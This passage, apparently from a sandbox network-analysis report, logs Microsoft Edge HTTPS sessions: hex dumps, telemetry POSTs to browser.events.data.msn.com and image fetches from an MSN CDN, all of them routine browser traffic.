R{\|-3GtOGLL}~%WYU93!Dyj++'Gc#cPwXAtGm& O6a]x5mG5)%-}EQ*iRv8^>vPQLqDCQu"$r7YNu-cOm?'v
2024-11-28 07:56:00 UTC	16384	IN	Data Raw: 41 02 09 db fe 4d a2 01 9f 54 ae e2 4d 45 57 30 dc 70 c4 16 fa 36 ed 59 1f 54 9d 7d 47 e9 6d 28 c0 d5 ac 7f 5e 0d 78 84 7a 80 13 c6 54 2b 7c 86 9f 29 ab fd c4 fd 20 6b 7f cf f3 9a c0 99 d9 8c 1c 61 36 46 f4 3b 8e 50 3c 2d 23 a8 26 68 86 f4 0c 04 3c 93 00 e8 a6 06 e9 17 d3 85 ea 69 9a a9 23 95 d1 a4 2e 46 24 5b 81 1f 28 82 3c af 53 55 e6 00 8f dc 00 00 78 7a ba c1 34 3c a0 00 94 85 25 a4 87 1a 74 d6 07 4b d5 fb a4 59 d0 0e 04 b9 0a 67 e5 79 e0 41 3d 6a 68 78 1c 78 b3 6e f4 b3 90 d0 35 00 a3 75 31 71 e5 0b d2 8d 9c 23 55 21 a6 fd 0f 84 53 3e 43 8f 49 d9 17 d2 6f f3 f9 da 39 51 9c 39 7d b6 85 0a dc 59 64 08 6b 49 12 c2 2d c8 41 a6 71 4f 4d c7 31 bf 41 6c 8b 07 95 62 f7 0d ef e3 b7 fb 73 a2 b9 0a 77 1b 1b 1e d6 53 3b 86 e0 1d 62 d2 aa 75 bd 88 f3 14 23 27 a7 Data Ascii: AMTMEW0p6YT}Gm(^xzT+\|) ka6F;P<-#&h<i#.F$[(<SUxz4<%tKYgyA=jhxxn5u1q#U!S>CIo9Q9}YdkI-AqOM1AlbswS;bu#'
2024-11-28 07:56:00 UTC	7952	IN	Data Raw: 11 62 4f a6 f0 68 b6 3f 69 bf c8 76 02 66 4c 88 5e 96 b5 fe f6 aa e1 06 6f 0f 00 dc 59 0a 46 27 f6 c4 4c 8b 83 b4 cf ed 5f 4b 0e 44 18 8e 02 b4 e4 27 1b 6f 23 19 10 44 49 04 88 fc 22 55 a0 0e 22 47 3a d4 ca 0d d7 78 98 fa 1b ea 8f cf 9f 4a cb 91 f6 03 b8 cf 0d c5 a4 ad fa 01 ad 20 f0 c9 39 6c 9b 54 7b 64 59 80 21 6c 39 86 00 93 7d 26 94 55 05 cf a1 f1 5c fa 96 14 34 eb 27 40 34 92 d6 3c eb 12 ec c8 a2 1a 20 fa 5d 5a 07 f4 9b 40 13 fb 4d 6d 05 81 bb 58 8b 1b 10 0f 5b dc 78 8f 3a 07 b5 3e 3f 93 3e 4e e4 ef 27 1e 35 67 40 06 d8 40 2c 36 f0 dc 44 cd b7 fc a8 86 72 f9 97 66 11 ed 92 2d 65 d8 09 bf 06 de a7 ae d6 53 69 a8 b0 0c 46 e0 a5 80 f4 89 3b af f5 41 e5 a7 03 14 8e 4c 11 ea 18 a4 5a 59 c8 30 dc 40 98 3b 78 c0 f9 55 ee 38 9e 9b 5f aa 05 23 e7 87 c5 97 da Data Ascii: bOh?ivfL^oYF'L_KD'o#DI"U"G:xJ 9lT{dY!l9}&U\4'@4< ]Z@MmX[x:>?>N'5g@@,6Drf-eSiF;ALZY0@;xU8_#
2024-11-28 07:56:00 UTC	16384	IN	Data Raw: 67 c6 36 9d 6d e5 1a d5 26 36 3c bd ac 58 e6 45 e4 c1 de 1a 3a ed 0b b6 df 3a 8e 66 47 65 f6 fb 6c 59 00 16 ba a9 e7 cd 4c 72 a6 37 f3 9d ce db 66 7b 6b 2a 9a 7f 09 1a 7d bd 68 d6 01 8f ba c2 ca f9 4a e6 17 46 90 01 2d 3e 88 31 21 6c 49 07 71 98 14 a4 4a 0d 84 6c b6 18 bd 91 06 6e 0a 19 1c 3c b9 4d 6b 0d 95 17 da df 85 90 08 29 ee 6d 68 8e 00 41 5e 9a d3 47 19 fd 4b 16 4f 62 0a 4c 12 1d 59 91 55 bd 3b c1 8d c0 70 27 c4 11 40 b7 bd c7 b8 d2 a6 41 b4 6b f5 2e e1 b8 83 d4 08 a9 41 67 a2 f7 18 b1 71 c6 03 5b eb 0c fa f2 24 4d fe 54 9a e6 c8 a4 99 55 6d 4b ce c3 03 49 fa 64 2f 22 0c 53 20 77 03 21 20 c6 e9 36 5d df 58 06 e4 69 06 22 66 d6 a2 58 bb a9 da 19 1b 49 21 58 86 26 67 76 c2 7d b3 ff 00 4f 9d 55 88 71 be 5c cd 21 f6 65 9d 59 a0 58 8d 20 e5 51 06 da 0b Data Ascii: g6m&6<XE::fGelYLr7f{k*}hJF->1!lIqJln<Mk)mhA^GKObLYU;p'@Ak.Agq[$MTUmKId/"S w! 6]Xi"fXI!X&gv}OUq\!eYX Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49837	51.104.15.252	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:02 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732780559322&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11583 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=31AC35F41F35674A28F120B11E576675; _EDGE_S=F=1&SID=39D93DE14BE469CC015128A44A3A6842; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-28 07:56:02 UTC	11583	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 30 37 3a 35 35 3a 35 39 2e 33 31 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 35 66 37 37 33 35 62 2d 33 61 34 36 2d 34 61 32 31 2d 39 37 39 36 2d 35 33 30 36 66 34 31 63 39 65 37 36 22 2c 22 65 70 6f 63 68 22 3a 22 31 32 34 35 31 35 30 31 33 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-28T07:55:59.317Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"e5f7735b-3a46-4a21-9796-5306f41c9e76","epoch":"1245150132"},"app":{"locale
2024-11-28 07:56:02 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=3bd8bf3002324e3bad7d38d446f0a8e7&HASH=3bd8&LV=202411&V=4&LU=1732780562435; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 07:56:02 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=24e3da38181347d98fe65a5fab1ee5b6; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 08:26:02 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3113 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 07:56:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49838	51.104.15.252	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:02 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732780559325&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5052 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=31AC35F41F35674A28F120B11E576675; _EDGE_S=F=1&SID=39D93DE14BE469CC015128A44A3A6842; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-28 07:56:02 UTC	5052	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 30 37 3a 35 35 3a 35 39 2e 33 32 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 35 66 37 37 33 35 62 2d 33 61 34 36 2d 34 61 32 31 2d 39 37 39 36 2d 35 33 30 36 66 34 31 63 39 65 37 36 22 2c 22 65 70 6f 63 68 22 3a 22 31 32 34 35 31 35 30 31 33 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-28T07:55:59.324Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"e5f7735b-3a46-4a21-9796-5306f41c9e76","epoch":"1245150132"},"app":{"locale
2024-11-28 07:56:03 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=be2141f2d70d4a588c9239d5b33c37bc&HASH=be21&LV=202411&V=4&LU=1732780562741; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 07:56:02 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=f8b64731441741d3911edbc88a95c22f; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 08:26:02 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3416 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 07:56:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49841	51.104.15.252	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:03 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732780560329&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9315 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=31AC35F41F35674A28F120B11E576675; _EDGE_S=F=1&SID=39D93DE14BE469CC015128A44A3A6842; _EDGE_V=1; msnup=
2024-11-28 07:56:03 UTC	9315	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 30 37 3a 35 36 3a 30 30 2e 33 32 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 35 66 37 37 33 35 62 2d 33 61 34 36 2d 34 61 32 31 2d 39 37 39 36 2d 35 33 30 36 66 34 31 63 39 65 37 36 22 2c 22 65 70 6f 63 68 22 3a 22 31 32 34 35 31 35 30 31 33 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-28T07:56:00.326Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"e5f7735b-3a46-4a21-9796-5306f41c9e76","epoch":"1245150132"},"app":{"loc
2024-11-28 07:56:03 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=8f2af72296c94e779eae6115853cbb73&HASH=8f2a&LV=202411&V=4&LU=1732780563252; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 07:56:03 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d9cbeae003644583aed48171fca66322; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 08:26:03 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2923 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 07:56:03 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49840	51.104.15.252	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:03 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732780560333&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5278 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=31AC35F41F35674A28F120B11E576675; _EDGE_S=F=1&SID=39D93DE14BE469CC015128A44A3A6842; _EDGE_V=1; msnup=
2024-11-28 07:56:03 UTC	5278	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 30 37 3a 35 36 3a 30 30 2e 33 33 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 35 66 37 37 33 35 62 2d 33 61 34 36 2d 34 61 32 31 2d 39 37 39 36 2d 35 33 30 36 66 34 31 63 39 65 37 36 22 2c 22 65 70 6f 63 68 22 3a 22 31 32 34 35 31 35 30 31 33 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-28T07:56:00.332Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"e5f7735b-3a46-4a21-9796-5306f41c9e76","epoch":"1245150132"},"app":{"locale
2024-11-28 07:56:03 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=98ce6e2e0326458e85655bf585bc4669&HASH=98ce&LV=202411&V=4&LU=1732780563405; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 07:56:03 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=0ce3182ccc2c496c801ef38b49df1732; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 08:26:03 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3072 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 07:56:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49842	51.104.15.252	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:03 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732780560899&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5502 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=31AC35F41F35674A28F120B11E576675; _EDGE_S=F=1&SID=39D93DE14BE469CC015128A44A3A6842; _EDGE_V=1; msnup=
2024-11-28 07:56:03 UTC	5502	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 30 37 3a 35 36 3a 30 30 2e 38 39 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 36 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 35 66 37 37 33 35 62 2d 33 61 34 36 2d 34 61 32 31 2d 39 37 39 36 2d 35 33 30 36 66 34 31 63 39 65 37 36 22 2c 22 65 70 6f 63 68 22 3a 22 31 32 34 35 31 35 30 31 33 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-28T07:56:00.898Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":6,"installId":"e5f7735b-3a46-4a21-9796-5306f41c9e76","epoch":"1245150132"},"app":{"loc
2024-11-28 07:56:04 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=ab578b0344f6408bbaf2701972ba339b&HASH=ab57&LV=202411&V=4&LU=1732780564081; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 07:56:04 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=a7a1adbab67a415bbe232738aa683862; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 08:26:04 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3182 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 07:56:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49844	23.44.129.36	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:07 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:56:07 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Sat, 16 Nov 2024 01:10:29 GMT X-Source-Length: 822 X-Datacenter: northeu X-ActivityId: 5763b2c5-4e9a-486b-a0ff-57403523bc58 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=71322 Expires: Fri, 29 Nov 2024 03:44:49 GMT Date: Thu, 28 Nov 2024 07:56:07 GMT Connection: close
2024-11-28 07:56:07 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	49846	23.44.129.36	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:09 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:56:09 UTC	549	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 24 Nov 2024 14:36:49 GMT X-Datacenter: westus X-ActivityId: 42dc5545-2b92-4098-b302-828293611e02 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 17955 Content-Length: 8192 Cache-Control: public, max-age=110472 Expires: Fri, 29 Nov 2024 14:37:21 GMT Date: Thu, 28 Nov 2024 07:56:09 GMT Connection: close
